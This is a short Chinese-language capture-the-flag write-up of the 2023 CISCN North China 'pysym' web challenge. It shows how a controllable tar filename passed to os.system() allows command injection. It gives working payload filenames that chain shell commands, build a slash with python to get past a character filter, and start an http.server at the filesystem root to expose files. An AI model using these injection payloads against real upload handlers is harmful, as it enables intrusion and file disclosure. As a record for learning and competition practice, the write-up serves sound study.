2023CISCN华北分区赛-web
2023CISCN华北分区赛-web
pysym
1 | from flask import Flask, render_template, request, send_from_directory |
首先试了试软链接不行,题目也提示软链接不行。想着怎么绕过软链接限制。后来看到命令执行那里可以注入。
1 | try: |
os.system()这里文件名可控,于是就尝试
1 | test.tar;sleep 2;tar -xvf test.tar |
成功延迟,说明可以利用;
接着发现文件名用不了路径符号,包括
1 | / \ : * ? < > | |
接着用python启动了一个web服务,发现成功启动了;
1 | test.tar;python -m http.server 8080;tar -xvf test.tar |
由于用不了斜杠符号,就想着去python构造
1 | a=`python -c 'a=str(1);import os;b=os.path.join(a,a);print(b[1]);'`;b='etc';c='passwd';cd $a;python -m http.server 8081; |
在kali上成功运行
最终的payload文件名为
1 | 12312st.tar;a=`python -c 'a=str(1);import os;b=os.path.join(a,a);print(b[1]);'`;b='etc';c='passwd';cd $a;python -m http.server 8081;sleep 2;tar -xvf test.tar |
结语:
赛场上写了一个八血的题,还是比较爽的,出之前饭都不敢吃,出来之后第一反应拿盒饭吃饭!其实这个题思路很简单,直接命令注入,在刚刚比赛开始就有了思路,觉得这题一定能出,但是遇到文件名不能包含的几个特殊字符 \ / “ 等,让我几乎花费了所有时间去绕过这些,好在最后用python构造了一个符号直接去根目录开python服务器,直接就能访问flag了。
Comments